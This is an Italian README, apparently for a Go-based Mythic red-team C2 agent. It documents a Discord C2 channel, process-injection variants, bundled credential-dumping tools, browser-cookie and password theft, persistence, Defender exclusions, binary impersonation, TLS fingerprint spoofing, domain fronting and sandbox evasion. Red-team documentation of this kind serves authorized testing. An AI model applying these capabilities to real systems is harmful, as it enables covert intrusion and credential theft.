Limitazione della frequenza: Rispetta i limiti di frequenza dell'API Discord con riprova automatica e backoff esponenziale (fino a 5 tentativi). Lo User-Agent è hardcoded a DiscordBot (https://github.com, 1.0) come richiesto dall'API Discord.

Prerequisiti di installazione:

  1. Crea un bot Discord su discord.com/developers
  2. Abilita l'intento Message Content del bot
  3. Aggiungi il bot a un server con autorizzazioni: Inviare Messaggi, Leggere la Cronologia dei Messaggi, Allegare File, Gestire Messaggi
  4. Prendi nota del token del bot e dell'ID del canale di destinazione
  5. Configura il contenitore del server C2 Discord con lo stesso token del bot e ID canale nel suo config.json

Limitazioni note:

  • L'"Ultimo Checkin" in Mythic viene mostrato come "Streaming Now" mentre lo stream push C2 è attivo (inerente alla modalità push C2). Dopo circa 180 secondi di inattività dell'agente, Mythic mostra il timestamp reale dell'ultima attività.
  • I limiti di frequenza dell'API Discord possono introdurre latenza durante l'invio di compiti ad alta frequenza
  • Il token del bot è una risorsa OPSEC critica: la compromissione espone il canale C2
  • Limite dimensione messaggio: circa 1950 caratteri inline, payload più grandi usano allegati

Ringraziamenti

Tutto ciò che so sugli agenti Mythic proviene dalla documentazione di Mythic o dal furto di codice e idee dagli agenti Merlin e Freyja.

Dopodiché, ho solo alimentato Claude con link di PoC e chiesto cose interessanti. Pazzesco, vero?

Tecniche e Riferimenti

  • Threadless Injection - ThreadlessInject di CCob (implementazione originale in C#) e go-ThreadlessInject di dreamkinn (porting Go)
  • sRDI (Shellcode Reflective DLL Injection) - Implementazione sRDI basata su Go di Merlin, originariamente basata su sRDI di Nick Landers (monoxgas)
  • PoolParty Injection - Ricerca PoolParty di SafeBreach Labs (PoC originale in C++) - Dettagli varianti
  • Opus Injection - Tecniche di injection basate su callback - Dettagli varianti
  • Icona Phoenix da OpenClipart
Scarica lo strumento
FonteTipoCosa fornisce
Rubeusassembly .NETAttacchi Kerberos (kerberoasting, forgiamento di ticket, delega)
Seatbeltassembly .NETRilevamento della sicurezza dell'host (privilegi, credenziali, configurazioni)
Certifyassembly .NETEnumerazione e abuso dei Servizi Certificati AD
SharpHoundassembly .NETRaccolta dati BloodHound
SharpUpassembly .NETControlli di escalation dei privilegi locali
SharpViewassembly .NETEnumerazione di Active Directory (porting di PowerView)
nanodumpBOFDump della memoria LSASS tramite MiniDumpWriteDump
credmanBOFAcquisizione di Credential Manager di Windows
VarianteTecnicaTriggerGo Shellcode
1Sovrascrittura della routine di avvio di Worker FactoryCreazione di un nuovo thread workerNo
2Inserimento TP_WORKElaborazione della coda di attivitàSì
3Inserimento TP_WAITSegnalazione di eventiSì
4Inserimento TP_IOCompletamento I/O fileSì
5Inserimento TP_ALPCMessaggistica porte ALPCSì
6Inserimento TP_JOBAssegnazione di oggetti jobSì
7Inserimento TP_DIRECTPorta di completamento I/OSì
8Inserimento TP_TIMERScadenza timerSì
ImpostazioneEsportazioniCaso d'uso
standard (predefinito)Run, Fire, VoidFuncShellcode sRDI, rundll32, caricatori generici
fullStandard + DllRegisterServer, DllUnregisterServer, ServiceMain, DllGetClassObject, DllCanUnloadNowregsvr32, servizio svchost, hijack COM
EsportazioneEsecuzioneMITRE
DllRegisterServerregsvr32 /s fawkes.dllT1218.010
DllUnregisterServerregsvr32 /u /s fawkes.dllT1218.010
ServiceMainServizio DLL svchost.exe (solo Windows)T1543.003
DllGetClassObject + DllCanUnloadNowHijack COM InprocServer32T1546.015
conteggio_inflazioneByte singolo (ad es. 0x90)Due byte (ad es. 0x41,0x42)
1.0001 KB2 KB
10.00010 KB20 KB
100.000100 KB200 KB
1.000.0001 MB2 MB
3.000.0003 MB6 MB
10.000.00010 MB20 MB
ParametroTipoDescrizione
pe_presetScegliPreimpostazione rapida di impersonificazione (notepad, svchost, cmd, explorer, ecc.)
pe_companyStringaCompanyName (ad es. "Microsoft Corporation")
pe_descriptionStringaFileDescription — visibile in Task Manager
pe_productStringaProductName
pe_versionStringaVersione file/prodotto (ad es. "10.0.19041.1")
pe_copyrightStringaLegalCopyright
pe_original_filenameStringaOriginalFilename — visibile agli strumenti forensi
pe_iconFileFile icona .ico o .png personalizzato
pe_manifestScegliLivello UAC: asInvoker, highestAvailable, requireAdministrator
TipoComandi
Creazione Processorun, powershell, spawn, argue
Chiamata APInet-enum, net-user, service, wmi, schtask, procdump, hashdump, eventlog, ntdll-unhook, syscalls, firewall, dcom, vss (crea/elimina), psexec
Kill Processokill
Iniezione Processovanilla-injection, apc-injection, threadless-inject, poolparty-injection, opus-injection, module-stomp, thread-hijack
Scrittura Fileupload, cp, mv
Creazione Filemkdir
Eliminazione Filerm
Modifica Filetimestomp
Scrittura Registroreg (scrivi/elimina), remote-reg (imposta/elimina), persist (metodi registro, com-hijack, screensaver), uac-bypass, defender (aggiungi/rimuovi-esclusione)
Salvataggio Registroreg (salva/creds)
Registro Remotoremote-reg (query/enum/imposta/elimina tramite WinReg RPC)
Servizio Remotoremote-service (elenco/query/crea/avvia/arresta/elimina/modifica-percorso/trigger/dll-sideload tramite SVCCTL RPC)
Accessomake-token
Furto Tokensteal-token, getsystem
ComandoTipo di CredenzialeCosa viene segnalato
hashdumphashHash NTLM SAM (Windows), hash NT/LM/SHA MSV1_0 dal walk LSASS in-situ (Windows, insitu-full), TGT Kerberos e ticket di servizio in formato .kirbi (Windows, tickets), hash /etc/shadow (Linux), hash PBKDF2 (macOS)
kerberoasthashTicket TGS per cracking offline
asrep-roasthashHash AS-REP
dcsynchashChiavi NTLM + AES tramite DRSGetNCChanges
lsa-secretstesto in chiaro/hash/chiavePassword di servizio, credenziali memorizzate nella cache, chiavi DPAPI
lapstesto in chiaroPassword LAPS v1 e v2
gpp-passwordtesto in chiaroPassword crittografate GPP da SYSVOL
browsertesto in chiaroPassword salvate Chrome/Edge/Firefox (tutte le piattaforme), cookie (tutte le piattaforme), cronologia, autocompletamento, segnalibri
dpapitesto in chiaro/hashSegreti protetti da DPAPI
credmantesto in chiaroVoci di Credential Manager (sull'azione di dump)
make-tokentesto in chiaroCredenziali utilizzate per la creazione del token
cred-harvesthash/testo in chiaro/tokenHash shadow, variabili d'ambiente cloud, variabili d'ambiente sensibili, token OAuth/JWT M365, cookie/archiviazione live del browser tramite CDP
credential-prompttesto in chiaroCredenziali catturate dal dialogo (macOS/Windows/Linux)
Impronta digitaleDescrizione
chromeChrome/Chromium (predefinito) — browser più comune, ideale per mimetizzarsi
firefoxFirefox
safariSafari
edgeMicrosoft Edge
rotateSeleziona casualmente Chrome/Firefox/Safari/Edge per connessione (previene la correlazione JA3)
randomImpronta digitale completamente randomizzata (non corrispondente a browser)
goNessuna falsificazione — utilizza lo stack TLS predefinito di Go
ParametroTipoDescrizione
env_key_hostnameRegexIl nome host deve corrispondere (ad es. WORKSTATION-\d+ o .*\.contoso\.com)
env_key_domainRegexIl dominio deve corrispondere (ad es. CONTOSO o .*\.local)
env_key_usernameRegexIl nome utente deve corrispondere (ad es. admin.* o svc_.*)
env_key_processStringaNome del processo che deve essere in esecuzione (ad es. outlook.exe)
env_key_cpuidRegexLa stringa della CPU deve corrispondere (ad es. .*Intel.*i7-12700.* o .*AMD.*5950X.*). Impedisce l'esecuzione in sandbox con modelli CPU diversi.
env_key_deriveSceltaCrittografa la configurazione C2 con una chiave derivata dalle proprietà dell'host di destinazione. Opzioni: hostname, domain, username, hostname+domain, hostname+domain+username. Host sbagliato = decifratura AES fallita = uscita silenziosa. Più forte di una corrispondenza regex — i valori di configurazione non appaiono mai nel binario.
  • Backoff esponenziale: In caso di fallimenti consecutivi del C2, l'agente raddoppia il suo intervallo di sleep (massimo 5 minuti). L'intervallo normale viene ripristinato al contatto riuscito.
  • Impronta TLS: Spoofing delle impronte JA3 del browser (chrome, firefox, safari, edge, rotate, random).
  • Multiplexing HTTP/2: Negoziazione automatica di h2 su HTTPS. Multiplexa le richieste su una singola connessione, imitando il comportamento del browser. Fallback trasparente a h1.
  • Segretezza perfezionata in avanti: Rotazione della chiave ECDH X25519 ogni N check-in (key_rotation_interval). Deriva nuove chiavi AES-256 tramite HKDF-SHA256, azzera le vecchie chiavi. Limita il raggio d'esplosione di una compromissione delle chiavi.
  • Protezione da replay: Numeri di sequenza monotoni in ogni messaggio (all'interno della busta crittografata). Impedisce il replay di richieste/risposte catturate.
  • TLS reciproco (mTLS): L'autenticazione con certificato client impedisce l'intercettazione passiva e il proxy MITM (T1573.002).
  • Domain fronting: Imposta host_header per sovrascrivere l'header HTTP Host.
  • Failover automatico: Configura fallback_hosts per un C2 resiliente.
  • ParametroTipoDescrizionePredefinito
    discord_tokenStringToken del bot Discord per l'autenticazione API(richiesto)
    bot_channelStringID del canale Discord per lo scambio di messaggi(richiesto)
    callback_intervalStringSecondi tra i polling dei compiti10
    callback_jitterStringPercentuale di jitter (0-100)23
    message_checksStringNumero massimo di tentativi di polling per scambio20
    time_between_checksStringSecondi tra i tentativi di polling5
    AESPSKStringChiave di crittografia AES-256 pre-condivisa(generata automaticamente)